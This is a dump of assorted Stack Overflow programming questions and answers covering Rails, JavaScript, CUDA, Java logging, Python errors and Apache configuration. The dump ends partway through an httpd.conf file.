39970531	0	Should I Add String Conditional Method to Helper or Model or ...? <p>What is the best way to do this?</p> <p>I have this in a view <code>&lt;%= badges(challenge) %&gt;</code> or <code>&lt;%= challenge.badges %&gt;</code> depending on if I put <code>badges</code> in a helper or the model.</p> <p>I was told to put it in a helper. I put it in so like this:</p> <pre><code>module ChallengesHelper def badges(challenge) if challenge.name == "Read 20 Min" ActionController::Base.helpers.image_tag("read.png", class: "gold-star") elsif challenge.name == "Exercise 20 Min" ActionController::Base.helpers.image_tag("exercise.png", class: "gold-star") elsif challenge.name == "Meditate 10 Min" ActionController::Base.helpers.image_tag("meditate.png", class: "gold-star") elsif challenge.name == "Stretch 5 Min" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif challenge.name == "Write 500 Words" ActionController::Base.helpers.image_tag("write.png", class: "gold-star") elsif challenge.name == "Walk 5,000 Steps" ActionController::Base.helpers.image_tag("walk.png", class: "gold-star") elsif challenge.name == "Eat Fruit &amp; Veg" ActionController::Base.helpers.image_tag("fruit-and-vegetable.png", class: "gold-star") elsif challenge.name == "Plan Day" ActionController::Base.helpers.image_tag("plan.png", class: "gold-star") elsif challenge.name == "After Waking, Guzzle Water" ActionController::Base.helpers.image_tag("water.png", class: "gold-star") elsif challenge.name == "Track Food Consumption" ActionController::Base.helpers.image_tag("track-food.png", class: "gold-star") elsif challenge.name == "Random Act of Kindness" ActionController::Base.helpers.image_tag("random-kindness.png", class: "gold-star") elsif challenge.name == "Write 3 Gratitudes" ActionController::Base.helpers.image_tag("gratitude.png", class: "gold-star") elsif challenge.name == "Juice Fast" ActionController::Base.helpers.image_tag("juice.png", class: "gold-star") elsif challenge.name == "Not Smoke" ActionController::Base.helpers.image_tag("not-smoke.png", class: "gold-star") elsif challenge.name == "Not Drink Alcohol" ActionController::Base.helpers.image_tag("not-drink.png", class: "gold-star") # GOAL CHALLENGES elsif challenge.name == "Live Abroad" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif challenge.name == "Long Road Trip" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif challenge.name == "Tour Capital Building" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif challenge.name == "Karaoke" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif challenge.name == "See New York Skyline" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif challenge.name == "Run 5K" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif challenge.name == "Write Memoir" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif challenge.name == "Lose 10 Pounds" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif challenge.name == "Join Club" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif challenge.name == "Skydive" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif challenge.name == "Start a Blog" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif challenge.name == "Donate $100 to Charity" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif challenge.name == "Create Independent Income Stream" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif challenge.name == "Paint a Picture" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif challenge.name == "Give a Public Speech" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") else ActionController::Base.helpers.image_tag("gold-star-maze.png", class: "gold-star") end end end </code></pre> <p>I'm only concerned because it seems more "wordy" in the helper than the model.</p> <pre><code> def badges if name == "Read 20 Min" ActionController::Base.helpers.image_tag("read.png", class: "gold-star") elsif name == "Exercise 20 Min" ActionController::Base.helpers.image_tag("exercise.png", class: "gold-star") elsif name == "Meditate 10 Min" ActionController::Base.helpers.image_tag("meditate.png", class: "gold-star") elsif name == "Stretch 5 Min" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif name == "Write 500 Words" ActionController::Base.helpers.image_tag("write.png", class: "gold-star") elsif name == "Walk 5,000 Steps" ActionController::Base.helpers.image_tag("walk.png", class: "gold-star") elsif name == "Eat Fruit &amp; Veg" ActionController::Base.helpers.image_tag("fruit-and-vegetable.png", class: "gold-star") elsif name == "Plan Day" ActionController::Base.helpers.image_tag("plan.png", class: "gold-star") elsif name == "After Waking, Guzzle Water" ActionController::Base.helpers.image_tag("water.png", class: "gold-star") elsif name == "Track Food Consumption" ActionController::Base.helpers.image_tag("track-food.png", class: "gold-star") elsif name == "Random Act of Kindness" ActionController::Base.helpers.image_tag("random-kindness.png", class: "gold-star") elsif name == "Write 3 Gratitudes" ActionController::Base.helpers.image_tag("gratitude.png", class: "gold-star") elsif name == "Juice Fast" ActionController::Base.helpers.image_tag("juice.png", class: "gold-star") elsif name == "Not Smoke" ActionController::Base.helpers.image_tag("not-smoke.png", class: "gold-star") elsif name == "Not Drink Alcohol" ActionController::Base.helpers.image_tag("not-drink.png", class: "gold-star") # GOAL CHALLENGES elsif name == "Live Abroad" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif name == "Long Road Trip" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif name == "Tour Capital Building" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif name == "Karaoke" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif name == "See New York Skyline" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif name == "Run 5K" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif name == "Write Memoir" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif name == "Lose 10 Pounds" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif name == "Join Club" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif name == "Skydive" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif name == "Start a Blog" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif name == "Donate $100 to Charity" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif name == "Create Independent Income Stream" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif name == "Paint a Picture" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") elsif name == "Give a Public Speech" ActionController::Base.helpers.image_tag("stretch.png", class: "gold-star") else ActionController::Base.helpers.image_tag("gold-star-maze.png", class: "gold-star") end end </code></pre> <p>Why is one spot better than the other? And what is the best practice for something like this where their are a lot of string conditions?</p>
32437218	0	How to remove or hide "Leave this page" button in confirm navigation of browsers? <p>I want to remove/hide "Leave this page" button or want to trigger "Stay this page" button in confirm navigation of browsers?</p> <pre><code>window.onbeforeunload = function () { return "Please close the another tabs to logout.."; }; </code></pre>
40558405	0	 <p>The problem was not Nancy, it was <code>app.UseStageMarker(PipelineStage.MapHandler);</code> which I removed. This is an Owin question so I'm closing.</p>
21744550	0	Random number generator without repeating numbers <p>I am trying to create a random number generator without repeating numbers {0 - 7}.</p> <p>im getting a seg fault error here, and im pretty sure im allocating all the memory correctly there. One solution that i found that works occasionally is if i set shuffledbracket parameter size to 9. however since it has one extra memory it puts in an extra 0. any ideas on how i could get my array to only have a parameter size of 8 without a seg fault error?</p>
2386873	0	JVM benchmarking application <p>We want to compare general performance (CPU, I/O, network, ...) of different JVMs for the same Java version (1.5) in different environments (Windows, Solaris, ...). </p> <p>Do you know of any JVM benchmarking application which can be used to compare results from different JVMs?</p> <p>Thank you very much.</p>
5221920	0	 <p>The others already answered how to truncate a file. Removing parts in the middle of a file is not possible, though. For this, you'd need to rewrite the whole file.</p>
28479843	0	 <p>By default, Spring Boot 1.1 uses Flyway 3.0 which does not support <code>COPY FROM STDIN</code>. Support <a href="https://github.com/flyway/flyway/commit/7b9b2d141cb9ff63f6ec01baec2e46f519b19ee4" rel="nofollow">was added</a> in 3.1. You can either upgrade to Spring Boot 1.2 (which uses Flyway 3.1 by default) or stick with Spring Boot 1.1 and try overriding the version of Flyway to 3.1.</p>
8722233	0	available.packages by publication date <p>Is it possible to get the publication date of CRAN packages from within R? I would like to get a list of the k most recently published CRAN packages, or alternatively all packages published after date dd-mm-yy. Similar to the information on the <a href="http://cran.r-project.org/web/packages/available_packages_by_date.html">available_packages_by_date.html</a>? </p> <p>The available.packages() command has a "fields" argument, but this only extracts fields from the DESCRIPTION. The date field on the package description is not always up-to-date.</p> <p>I can get it with a smart regex from the <a href="http://cran.r-project.org/web/packages/available_packages_by_date.html">html page</a>, but I am not sure how reliable and up-to-date the this html file is... At some point Kurt might decide to give the layout a makeover which would break the script. An alternative is to use timestamps from the <a href="ftp://cran.r-project.org/pub/R/src/contrib/">CRAN FTP</a> but I am also not sure how good this solution is. I am not sure if there is somewhere a formally structured file with publication dates? I assume the HTML page is automatically generated from some DB.</p>
17233800	0	Devise -- password doesn't match its confirmation for some reason <p>I'm using <code>devise</code> and I can't add an user neither via no via <code>seeds.rb</code>. Here is a rails console:</p> <pre><code>irb(main):100:0&gt; a = User.new =&gt; #&lt;User id: nil, email: "", encrypted_password: "", reset_password_token: nil, reset_password_sent_at: nil,......etc&gt; irb(main):111:0&gt; a.email = "email1@gmail.com" =&gt; "email1@gmail.com" irb(main):116:0&gt; a.password = "1234a" =&gt; "1234a" irb(main):117:0&gt; a.password =&gt; "1234a" irb(main):119:0&gt; a.password_confirmation = "1234a" =&gt; "1234a" irb(main):120:0&gt; a.password_confirmation == a.password =&gt; true irb(main):121:0&gt; a.save! (0.8ms) BEGIN User Load (1.2ms) SELECT "users".* FROM "users" WHERE "users"."reset_password_token" = 'M9Xg7pYuPkgysuirxoj8' LIMIT 1 User Load (1.1ms) SELECT "users".* FROM "users" WHERE "users"."reset_password_token" = '4y8Vdn9b7nsC2QqtkCSs' LIMIT 1 User Exists (0.7ms) SELECT 1 AS one FROM "users" WHERE "users"."email" = 'email1@gmail.com' LIMIT 1 User Exists (0.8ms) SELECT 1 AS one FROM "users" WHERE LOWER("users"."login") = LOWER('login1') LIMIT 1 User Exists (0.6ms) SELECT 1 AS one FROM "users" WHERE "users"."email" = 'email1@gmail.com' LIMIT 1 (0.4ms) ROLLBACK ActiveRecord::RecordInvalid: Validation failed: Password doesn't match confirmation </code></pre>
14790157	0	 <p>Have you tried getting rid of the <code>try/catch</code> statement completely?</p> <pre><code>string clientLanguage = null; var userLanguages = filterContext.HttpContext.Request.UserLanguages; if (userLanguages != null &amp;&amp; userLanguages.Length &gt; 0) { var culture = CultureInfo .GetCultures(CultureTypes.AllCultures) .FirstOrDefault( x =&gt; string.Equals( x.Name, userLanguages[0].Name, StringComparison.OrdinalIgnoreCase ) ); if (culture != null) { clientLanguage = culture.TwoLetterISOLanguageName; } } </code></pre> <p>Use try/catch only for handling exceptions that are out of your control. As their name suggests exceptions should be used for handling exceptional cases.</p> <p>In this case you are doing standard parsing so it is much better to do defensive programming instead of trying, throwing, catching, ... </p>
5745690	0	 <p>From your code, it seems you have just assigned values to sigevent, instead of using any where in code.</p> <blockquote> <p>static struct sigevent sevp; </p> <pre><code>memset (&amp;sevp, 0, sizeof (struct sigevent)); sevp.sigev_value.sival_ptr = NULL; sevp.sigev_notify = SIGEV_THREAD; sevp.sigev_notify_attributes = NULL; sevp.sigev_signo = SIGUSR1; sevp.sigev_notify_function=threadFunction; </code></pre> </blockquote> <p>To invoke threadFunction, call this from your signal handler.</p> <pre><code>&gt; void sig_handlerTimer1(int signum) &gt; { &gt; printf("Caught signal: %d\n",signum); &gt; threadFunction(signum); &gt; } </code></pre> <p>If you want to use <strong>sevp</strong>, use something like timer_create() and timer_settime(). Check this link: <a href="http://ptgmedia.pearsoncmg.com/images/0201633922/sourcecode/sigev_thread.c" rel="nofollow">http://ptgmedia.pearsoncmg.com/images/0201633922/sourcecode/sigev_thread.c</a></p>
39502586	0	 <p>Because you're not waiting for the mouse button to be released before you trigger your buttons.</p> <ul> <li>When <code>pause()</code> starts, it brings up two buttons.</li> <li>User moves mouse to <code>Main Menu</code>.</li> <li>User clicks mouse.</li> <li>As soon as the mouse button is depressed, <code>game_intro()</code> is called, which puts a <code>Quit</code> button in the same place.</li> <li>The mouse button is <em>still</em> depressed, so the game quits.</li> </ul>
39332135	0	Preseeding Ubuntu with primary partitions <p>I'm attempting to preseed a Xenial image and it works just fine, aside from the partitioning. cloud-init can only grow the root partition, and that doesn't work when the image is built with the root filesystem inside of an extended partition:</p> <pre><code>NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT sr0 11:0 1 382K 0 rom xvda 202:0 0 60G 0 disk ├─xvda1 202:1 0 1.9G 0 part / ├─xvda2 202:2 0 1K 0 part └─xvda5 202:5 0 2.1G 0 part </code></pre> <p>My partman recipe currently looks like this:</p> <pre><code>d-i partman-auto/expert_recipe string \ all-root :: \ 1 1 1 free \ method{ biosgrub } \ . \ 750 1000 2000 ext4 \ $primary{ } $bootable{ } \ mountpoint{ / } \ method{ format } format{ } \ use_filesystem{ } filesystem{ ext4 } \ . </code></pre> <p>I cannot for the life of me see a way of just ending up with xvda1 by itself - is there anything obscure in the docs I may have missed?</p>
6613807	0	 <p>When you changed from classic pipeline to integrated pipeline, you essentially turned control over to .NET, meaning .NET will call up the ASP Parser. This adds the ability for custom HTTPModules coded in .NET Managed code that can change the output of the response or in the case of elmah, give you logging details.</p> <p>I would look at the log, see what user agent <a href="http://www.useragentstring.com/pages/Googlebot/" rel="nofollow">googlebot</a> is using at the time when the error occurrs and follow the exact same path it did with your user agent changed.</p> <p><a href="http://www.mozilla.com/en-US/firefox/new/" rel="nofollow">Mozilla Firefox</a> is the best browser for this with the <a href="https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/" rel="nofollow">User Agent Switcher</a> addon</p>
20935779	0	 <p>Try this,</p> <pre><code> &lt;script&gt; $(document).ready(function() { $('#p-load').fadeIn(10000); }); &lt;/script&gt; </code></pre> <p>It provides duration of 10sec(10000 m.sec) </p> <p><a href="http://jsfiddle.net/4L2Aj/1/" rel="nofollow"><strong>FIDDLE</strong></a></p>
2594107	0	 <p>Here is a great article on the subject <a href="http://www.codeproject.com/KB/ajax/autosuggestextender.aspx" rel="nofollow noreferrer">http://www.codeproject.com/KB/ajax/autosuggestextender.aspx</a></p> <p>I've also written a follow-up article explaining how to call an asynchronous server side auto post back event on a user's selection: <a href="http://www.codeproject.com/KB/webforms/PostbackAutoCompleteExten.aspx" rel="nofollow noreferrer">http://www.codeproject.com/KB/webforms/PostbackAutoCompleteExten.aspx</a></p>
25983520	0	 <p>What you can use is the <a href="https://parse.com/docs/js_guide#queries-compound" rel="nofollow"><code>Parse.Query.or</code></a> function.</p> <pre><code>var currentUser = Parse.User.current(); var FriendRequest = Parse.Object.extend("FriendRequest"); var queryOne = new Parse.Query(FriendRequest); queryOne.equalTo("fromUser", currentUser); var queryTwo = new Parse.Query(FriendRequest); queryTwo.equalTo("toUser", currentUser); var mainQuery = Parse.Query.or(queryOne, queryTwo); mainQuery.equalTo("status", "Connected"); mainQuery.find({ /* ... */ }); </code></pre>
39220727	0	 <p>Terraform supports a bunch of <a href="https://www.terraform.io/docs/providers/index.html" rel="nofollow">providers</a> but the vast majority of them are public cloud based.</p> <p>However, you could set up a local <a href="http://www.vmware.com/uk/products/vsphere.html" rel="nofollow">VMWare VSphere</a> cluster and use the VSphere provider to interact with that to get you going. There's also a provider for <a href="https://www.openstack.org/" rel="nofollow">OpenStack</a> if you want to set up an OpenStack cluster.</p> <p>Alternatively you could try using something like <a href="http://www8.hp.com/uk/en/cloud/helion-eucalyptus.html" rel="nofollow">HPE's Eucalyptus</a> which provides API compatibility with AWS but on premise.</p> <p>That said, unless you already have a datacenter running VMWare, all of those options are pretty awful and will take a lot of effort to get setup so you may be best waiting for your firewall to be opened up instead.</p> <p>There isn't unfortunately a nice frictionless first party implementation of a Virtualbox provider but you could try this <a href="https://github.com/ccll/terraform-provider-virtualbox" rel="nofollow">third party Virtualbox provider</a>.</p>
30837108	0	 <p>Removed bottom:0; and position:absolute in footer</p> <pre><code>footer { bottom: 0; height: 60px; position: absolute; width: 100%; } </code></pre>
25873828	0	 <p>You might find this formula helpful, it will check for a null value in either column</p> <p><code>{=IF(OR(A1:B1=""),"Null Value",IF(A1=B1,"Not Translated","Translated"))}</code></p> <p>Leave out the curly braces and enter the function using <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>Enter</kbd></p> <p>You can drag that down for the following results</p> <p><code> a a Not Translated b c Translated d Null Value e Null Value Null Value f f Not Translated </code></p>
4625988	0	 <p>I use David Strattons second solution (run as Administrator) because my application requires administrator privileges (-> elevated). Another solution could be to start the application as the user and use "Debug | Attach to process..."</p>
993418	0	LogonUser works only for my domain <p>I need to impersonate a user using C#. I use the LogonUser Win32 API. This works fine when impersonating users from the same domain as the currently logged-in user. However I get "false" as response when I try to impersonate users from other domains.</p> <p>What can cause this?</p>
5363460	0	CUDA pointers to device constants <p>I have the following constant defined on the CUDA device:</p> <pre><code>__constant__ int deviceTempVariable = 1; </code></pre> <p>Now I tried getting the address of <code>deviceTempVariable</code> using two methods, and I'm getting different results. The first is a direct memory access from a CUDA kernel as follows:</p> <pre><code>__global__ void cudaPointers(pointerStruct* devicePointer) { devicePointer-&gt;itsPointer = &amp;deviceTempVariable; } </code></pre> <p>The other is through host code as follows:</p> <pre><code>cudaGetSymbolAddress((void**) &amp;pointerCuda, "deviceTempVariable"); </code></pre> <p>I was curious and checked the address values; the first gives something like <code>00000008</code>, and the second is <code>00110008</code>. The offset seems to be the same in all cases (the number 8), but the rest is different. What's going on here, and which address would I have to use?</p>
3858284	0	 <p>Google uses the hash-trick. Notice that all the parameters are after</p> <pre><code>http://www.google.com/# </code></pre> <p><strong>Edit:</strong> If you entered the page with other parameters, the <code>#</code> may be further out in the link.</p>
490919	0	 <p>Locking is platform and device specific, but generally, you have a few options:</p> <ol> <li>use flock(), or equivilent (if your os supports it). This is advisory locking, unless you check for the lock, its ignored.</li> <li>Use a lock-copy-move-unlock methodology, where you copy the file, write the new data, then move it (move, not copy - move is an atomic operation in Linux -- check your OS), and you check for the existence of the lock file.</li> <li>Use a directory as a "lock". This is necessary if you're writing to NFS, since NFS doesn't support flock().</li> <li>There's also the possibility of using shared memory between the processes, but I've never tried that; its very os-specific.</li> </ol> <p>For all these methods, you'll have to use a spin-lock (retry-after-failure) technique for acquiring and testing the lock. This does leave a small window for mis-synchronization, but its generally small enough to not be an major issue.</p> <p>If you're looking for a solution that is cross platform, then you're better off logging to another system via some other mechanism (the next best thing is the NFS technique above). </p> <p>Note that sqlite is subject to the same constraints over NFS that normal files are, so you can't write to an sqlite database on a network share and get synchronization for free.</p>
3149993	0	 <p>Check out <a href="http://php.net/basename" rel="nofollow noreferrer"><code>basename()</code></a>.</p>
38217401	0	Unit tests only fail when run by maven <p>I'm currently facing the problem that my unit tests are passing when run by eclipse but failing when run by maven.</p> <p>This is the repository (+ pom.xml): <a href="https://github.com/thorstenwagner/ij-trajectory-classifier" rel="nofollow">https://github.com/thorstenwagner/ij-trajectory-classifier</a></p> <p>Here is the build log: <a href="https://travis-ci.org/thorstenwagner/ij-trajectory-classifier" rel="nofollow">https://travis-ci.org/thorstenwagner/ij-trajectory-classifier</a></p> <p>This is the output of mvn -v:</p> <pre><code>Apache Maven 3.3.9 (NON-CANONICAL_2015-11-23T13:17:27+03:00_root; 2015-11- 23T11:17:27+01:00) Maven home: /opt/maven Java version: 1.8.0_92, vendor: Oracle Corporation Java home: /usr/lib/jvm/java-8-openjdk/jre Default locale: de_DE, platform encoding: UTF-8 OS name: "linux", version: "4.6.3-1-arch", arch: "amd64", family: "unix" </code></pre> <p>I've tried to change my java version from 1.7 to 1.6 but this didn't help.</p> <p>I appreciate any suggestions</p> <p>Best, Thorsten</p>
3547104	0	log4j:ERROR with Tomcat 6 <p>I programmed a Web Application with Java EE. I am using log4j and Tomcat 6.0.28. When I am starting my app at tomcat following error message appears every 3 seconds at my console:</p> <pre><code>log4j:ERROR LogMananger.repositorySelector was null likely due to error in class reloading, using NOPLoggerRepository. </code></pre> <p>Has somebody an idea what that means? Is there maybe a problem with log4j.xml? I can post more code/configfiles if nessecary. </p> <p>The application works, but I am a little bit worried. Thank you...</p>
6039605	1	TypeError: 'str' object is not callable (Python) <p><strong>Code:</strong></p> <pre><code>import urllib2 as u import os as o inn = 'dword.txt' w = open(inn) z = w.readline() b = w.readline() c = w.readline() x = w.readline() m = w.readline() def Dict(Let, Mod): global str inn = 'dword.txt' den = 'definitions.txt' print 'reading definitions...' dell =open(den, 'w') print 'getting source code...' f = u.urlopen('http://dictionary.reference.com/browse/' + Let) a = f.read(800) print 'writing source code to file...' f = open("dic1.txt", "w") f.write(a) f.close() j = open('defs.txt', 'w') print 'finding definition is source code' for line in open("dic1.txt"): if '&lt;meta name="description" content=' in line: j.write(line) j.close() te = open('defs.txt', 'r').read().split() sto = open('remove.txt', 'r').read().split() print 'skimming down the definition...' mar = [] for t in te: if t.lower() in sto: mar.append('') else: mar.append(t) print mar str = str(mar) str = ''.join([ c for c in str if c not in (",", "'", '[', ']', '')]) defin = open(den, Mod) defin.write(str) defin.write(' ') defin.close() print 'cleaning up...' o.system('del dic1.txt') o.system('del defs.txt') Dict(z, 'w') Dict(b, 'a') Dict(c, 'a') Dict(x, 'a') Dict(m, 'a') print 'all of the definitions are in definitions.txt' </code></pre> <p>The first <code>Dict(z, 'w')</code> works and then the second time around it comes up with an error:</p> <pre><code>Traceback (most recent call last): File "C:\Users\test.py", line 64, in &lt;module&gt; Dict(b, 'a') File "C:\Users\test.py", line 52, in Dict str = str(mar) TypeError: 'str' object is not callable </code></pre> <p>Does anyone know why this is?</p> <p>@Greg Hewgill: </p> <p>I've already tried that and I get the error:</p> <pre><code>Traceback (most recent call last): File "C:\Users\test.py", line 63, in &lt;module&gt; Dict(z, 'w') File "C:\Users\test.py", line 53, in Dict strr = ''.join([ c for c in str if c not in (",", "'", '[', ']', '')]) TypeError: 'type' object is not iterable </code></pre>
816157	0	 <p>I've never tried a thumb drive, but I use external USB drives for virtual machines all the time. I use VirtualPC 2007 and have had no problems. In fact, sometimes if the host machine is on the weaker side, having the VM on an external drive increases performance. I recommend the external USB drive route.</p>
7225487	0	CSS 100% - 300px? <p>So far I have </p> <pre><code>&lt;div id="wrapper"&gt; &lt;div id="shoutbox"&gt; shoutbox &lt;/div&gt; &lt;div id="groups"&gt; testgroups &lt;/div&gt; &lt;div id="users"&gt; testusers &lt;/div&gt; &lt;/div&gt; </code></pre> <p>I want it to take up the entire screen. The users and groups div will always be 150px, and I want the shoutbox to take up the rest. I know this is probably very simple, but I don't know what I would search for to find it.</p>
8828045	0	 <p>You need to fire the event on the form element itself, not on a jQuery selection. (In fact, you weren't even selecting the form element – inside <code>setTimeout</code>, <code>this</code> is the global object.)</p> <p>Cache a reference to the form (<code>this</code>) and call its <code>submit</code> method:</p> <pre><code>$('form').submit( function(event) { var formId = this.id, form = this; mySpecialFunction(formId); event.preventDefault(); setTimeout( function () { form.submit(); }, 300); }); </code></pre> <p>Note that I have also replaced your inefficient <code>$(this).attr('id')</code> call with <code>this.id</code>. Note also that you have to call the DOM form element's submit method, not the jQuery method, so that the jQuery event handler is not triggered, which would cause an infinite (and totally ineffectual) loop.</p>
2811443	0	 <p>I would suggest that you don't add your functionality on top of the selected property of the cell, which has slightly different behaviour than you expect.</p> <p>Just add your own <code>BOOL expanded</code> property, and see how that works. You should probably call it from the <code>UITableView delegate</code> methods, too.</p>
2751416	0	 <p>That's perfectly correct. But it depends on what you want, perhaps you mean <code>&amp;&amp;</code> instead of <code>||</code></p>
19397738	0	 <p><code>maven</code> is a tool for build processes. You really don't have to use it.</p> <ol> <li>What you need is to write tests with a testing framework, for exapmle <code>junit</code></li> <li>The dependencies you need (<code>spring</code>, <code>junit</code>) must be in your classpath. If you're not using <code>maven</code> then any other way you prefer.</li> <li>You can use <a href="http://stackoverflow.com/questions/2235276/how-to-run-junit-test-cases-from-the-command-line">this question</a> to run tests from command line if that's what you need.</li> </ol> <p>To make it clear in other words - <code>maven</code> provides you with a build cycle that downloads your dependencies and put them in your classpath. This is something that you can do manually (configure your classpath and put needed jars in the classpath). The second thing <code>maven</code> gives you is the <code>test</code> life-cycle. But you don't have to use it and you can run unit-tests from command line according to the link I put in bullet 3 or running through the IDE. Most of <code>eclipse</code> and <code>Intellij</code> versions come with built-in support for running tests.</p>
21924669	0	 <p>If you know jQuery, you can use:</p> <pre><code>$('input[type=radio]').click(function() { var $this = $(this); $('.square').css('background', $(this).next().text()); }) </code></pre> <p><strong><a href="http://jsfiddle.net/m8fxw/3/" rel="nofollow">Updated Fiddle</a></strong></p>
2114596	0	 <p>No, I don't know of any. Because NHibernate is popular and very good at what it does, and EF is likely to pick up most of the remainder (particularly devs that don't want to stray from Microsoft-supplied frameworks), the barrier to entry for a new player is very high. Another ORM would need to add something significant over and above what NHibernate currently offers in order to get any reasonable level of interest. </p> <p>If there was an open source project that wanted to deliver better Linq support in an ORM, in my opinion it would have greater success contributing to NHibernate Linq rather than attempting to build its own framework from scratch.</p>
29337099	0	UPDATE _field1 = _feild2 for every row <p>Is there a way to update a Table, and move the data from one row to another? For example, could I use the following syntax?</p> <pre><code>UPDATE _tablename SET _field1 = _field2; </code></pre> <p>Normally <code>UPDATE</code> queries require a <code>WHERE</code> parameter don't they?</p>
40626971	0	 <p>Technically yes, you can consume API given by private operators like Pay2All or directly by Yes Bank</p> <p>Links : <a href="http://www.pay2all.in/money-transfer-api" rel="nofollow noreferrer">http://www.pay2all.in/money-transfer-api</a></p> <p><a href="https://www.yesbank.in/corporate-banking/product-and-services/digital-banking/api-banking" rel="nofollow noreferrer">https://www.yesbank.in/corporate-banking/product-and-services/digital-banking/api-banking</a></p>
3169296	0	DBus: Performance improvement practices <p><strong>What are some good practices to obtain better time performance in applications that heavily utilize <a href="http://en.wikipedia.org/wiki/D-Bus" rel="nofollow noreferrer">DBus</a>?</strong></p> <p>Here are a few that our team has learned through the school of hard knocks:</p> <ul> <li>Try to combine data entities together into a single, large structure/object to send over DBus IPC.</li> <li>Try to have all DBus traffic come into a single proxy at a single point in your application/process, rather than having them spread throughout your application/process.</li> </ul>
26553004	0	CentOS Apache2 -- All files forbidden <p>This might be a bad place to post this, and I know <i>sooooo</i> many people have asked about it, but I've looked a lot of different places and I just can't figure it out. Please look at my below <code>httpd.conf</code> file and tell me what's wrong:</p> <pre><code>ServerRoot "/etc/httpd" PidFile run/httpd.pid Timeout 60 KeepAlive Off MaxKeepAliveRequests 1000 KeepAliveTimeout 15 &lt;IfModule prefork.c&gt; StartServers 8 MinSpareServers 5 MaxSpareServers 20 ServerLimit 256 MaxClients 256 MaxRequestsPerChild 4000 &lt;/IfModule&gt; &lt;IfModule worker.c&gt; StartServers 4 MaxClients 300 MinSpareThreads 25 MaxSpareThreads 75 ThreadsPerChild 25 MaxRequestsPerChild 0 &lt;/IfModule&gt; Listen 80 LoadModule auth_basic_module modules/mod_auth_basic.so LoadModule auth_digest_module modules/mod_auth_digest.so LoadModule authn_file_module modules/mod_authn_file.so LoadModule authn_alias_module modules/mod_authn_alias.so LoadModule authn_anon_module modules/mod_authn_anon.so LoadModule authn_dbm_module modules/mod_authn_dbm.so LoadModule authn_default_module modules/mod_authn_default.so LoadModule authz_host_module modules/mod_authz_host.so LoadModule authz_user_module modules/mod_authz_user.so LoadModule authz_owner_module modules/mod_authz_owner.so LoadModule authz_groupfile_module modules/mod_authz_groupfile.so LoadModule authz_dbm_module modules/mod_authz_dbm.so LoadModule authz_default_module modules/mod_authz_default.so LoadModule ldap_module modules/mod_ldap.so LoadModule authnz_ldap_module modules/mod_authnz_ldap.so LoadModule include_module modules/mod_include.so LoadModule log_config_module modules/mod_log_config.so LoadModule logio_module modules/mod_logio.so LoadModule env_module modules/mod_env.so LoadModule ext_filter_module modules/mod_ext_filter.so LoadModule mime_magic_module modules/mod_mime_magic.so LoadModule expires_module modules/mod_expires.so LoadModule deflate_module modules/mod_deflate.so LoadModule headers_module modules/mod_headers.so LoadModule usertrack_module modules/mod_usertrack.so LoadModule setenvif_module modules/mod_setenvif.so LoadModule mime_module modules/mod_mime.so LoadModule dav_module modules/mod_dav.so LoadModule status_module modules/mod_status.so LoadModule autoindex_module modules/mod_autoindex.so LoadModule info_module modules/mod_info.so LoadModule dav_fs_module modules/mod_dav_fs.so LoadModule vhost_alias_module modules/mod_vhost_alias.so LoadModule negotiation_module modules/mod_negotiation.so LoadModule dir_module modules/mod_dir.so LoadModule actions_module modules/mod_actions.so LoadModule speling_module modules/mod_speling.so LoadModule userdir_module modules/mod_userdir.so LoadModule alias_module modules/mod_alias.so LoadModule substitute_module modules/mod_substitute.so LoadModule rewrite_module modules/mod_rewrite.so LoadModule proxy_module modules/mod_proxy.so LoadModule proxy_balancer_module modules/mod_proxy_balancer.so LoadModule proxy_ftp_module modules/mod_proxy_ftp.so LoadModule proxy_http_module modules/mod_proxy_http.so LoadModule proxy_ajp_module modules/mod_proxy_ajp.so LoadModule proxy_connect_module modules/mod_proxy_connect.so LoadModule cache_module modules/mod_cache.so LoadModule suexec_module modules/mod_suexec.so LoadModule disk_cache_module modules/mod_disk_cache.so LoadModule cgi_module modules/mod_cgi.so LoadModule version_module modules/mod_version.so Include conf.d/*.conf # # ExtendedStatus controls whether Apache will generate "full" status # information (ExtendedStatus On) or just basic information (ExtendedStatus # Off) when the "server-status" handler is called. The default is Off. # #ExtendedStatus On # # If you wish httpd to run as a different user or group, you must run # httpd as root initially and it will switch. # # User/Group: The name (or #number) of the user/group to run httpd as. # . On SCO (ODT 3) use "User nouser" and "Group nogroup". # . On HPUX you may not be able to use shared memory as nobody, and the # suggested workaround is to create a user www and use that user. # NOTE that some kernels refuse to setgid(Group) or semctl(IPC_SET) # when the value of 